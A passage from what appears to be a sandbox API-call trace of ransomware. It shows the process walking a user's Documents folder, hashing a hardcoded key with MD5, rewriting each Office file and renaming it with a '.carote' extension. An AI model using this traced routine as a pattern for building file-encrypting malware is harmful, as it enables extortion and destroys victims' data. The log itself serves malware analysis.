dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.093] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=5765) returned 1 [0112.094] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.095] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x165f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.095] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.097] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.097] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.097] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.097] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1685, lpOverlapped=0x0) returned 1 [0112.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.097] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.097] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.097] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.098] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.098] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.098] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.098] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.098] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.098] GetLastError () returned 0x0 [0112.098] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.098] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.098] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.098] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1690) returned 0x7b182e0 [0112.098] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.099] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1680, lpOverlapped=0x0) returned 1 [0112.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.099] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1685, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.099] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.099] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.099] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.099] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.099] CloseHandle (hObject=0x61c) returned 1 [0112.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.100] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.100] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6x5Al7 pvIePmK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6x5al7 pviepmk.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6x5Al7 pvIePmK.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6x5al7 pviepmk.docx.carote")) returned 1 [0112.100] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.100] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.101] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7eb8d10, ftCreationTime.dwHighDateTime=0x1d50511, ftLastAccessTime.dwLowDateTime=0xc8264180, ftLastAccessTime.dwHighDateTime=0x1d5278d, ftLastWriteTime.dwLowDateTime=0xc8264180, ftLastWriteTime.dwHighDateTime=0x1d5278d, nFileSizeHigh=0x0, nFileSizeLow=0x6943, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9huoURlo4xaH5cScK.docx", cAlternateFileName="9HUOUR~1.DOC")) returned 1 [0112.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.101] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.101] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9huoURlo4xaH5cScK.docx") returned=".docx" [0112.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9huoURlo4xaH5cScK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9huourlo4xah5csck.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.102] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=26947) returned 1 [0112.102] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.104] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x691d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.104] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.105] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.105] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.105] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.105] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x6943, lpOverlapped=0x0) returned 1 [0112.106] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.106] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.106] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.106] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.106] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.107] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.107] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.107] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.107] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.107] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.107] GetLastError () returned 0x0 [0112.107] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.107] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.107] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.107] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x6940) returned 0x7b182e0 [0112.107] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.107] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.107] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x693e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x693e, lpOverlapped=0x0) returned 1 [0112.107] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.107] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6943, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.108] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.108] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.108] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.108] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.108] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.108] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.108] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.108] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.108] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.108] CloseHandle (hObject=0x61c) returned 1 [0112.109] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.109] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.109] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.109] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9huoURlo4xaH5cScK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9huourlo4xah5csck.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9huoURlo4xaH5cScK.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9huourlo4xah5csck.docx.carote")) returned 1 [0112.109] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.109] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.110] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.110] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b36560, ftCreationTime.dwHighDateTime=0x1d54e59, ftLastAccessTime.dwLowDateTime=0xebe38740, ftLastAccessTime.dwHighDateTime=0x1d4f76d, ftLastWriteTime.dwLowDateTime=0xebe38740, ftLastWriteTime.dwHighDateTime=0x1d4f76d, nFileSizeHigh=0x0, nFileSizeLow=0xb2cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9is01ddNDlEMb.xlsx", cAlternateFileName="9IS01D~1.XLS")) returned 1 [0112.110] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.110] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.110] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.110] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9is01ddNDlEMb.xlsx") returned=".xlsx" [0112.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9is01ddNDlEMb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9is01ddndlemb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.111] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=45771) returned 1 [0112.111] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.112] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb2a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.112] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.114] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.114] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.114] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.114] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb2cb, lpOverlapped=0x0) returned 1 [0112.115] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.115] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.115] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.115] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.115] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.116] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.116] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.116] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.116] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.116] GetLastError () returned 0x0 [0112.116] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.116] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.116] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb2d0) returned 0x7b182e0 [0112.116] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.116] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.116] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xb2c6, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xb2c6, lpOverlapped=0x0) returned 1 [0112.116] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.116] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb2cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.116] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.117] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.117] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.117] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.117] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.117] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.117] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.117] CloseHandle (hObject=0x61c) returned 1 [0112.118] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.118] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.118] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.118] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9is01ddNDlEMb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9is01ddndlemb.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\9is01ddNDlEMb.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\9is01ddndlemb.xlsx.carote")) returned 1 [0112.118] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.118] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.119] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a2bd30, ftCreationTime.dwHighDateTime=0x1d53450, ftLastAccessTime.dwLowDateTime=0xec4ee870, ftLastAccessTime.dwHighDateTime=0x1d4e212, ftLastWriteTime.dwLowDateTime=0xec4ee870, ftLastWriteTime.dwHighDateTime=0x1d4e212, nFileSizeHigh=0x0, nFileSizeLow=0x97ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AYbPNC9cxxg.pptx", cAlternateFileName="AYBPNC~1.PPT")) returned 1 [0112.119] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.119] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.119] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.119] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AYbPNC9cxxg.pptx") returned=".pptx" [0112.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AYbPNC9cxxg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aybpnc9cxxg.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.120] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=38858) returned 1 [0112.120] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.122] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x97a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.122] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.124] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.124] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.124] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.124] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x97ca, lpOverlapped=0x0) returned 1 [0112.125] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.125] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.125] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.125] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.125] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.126] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.126] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.126] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, 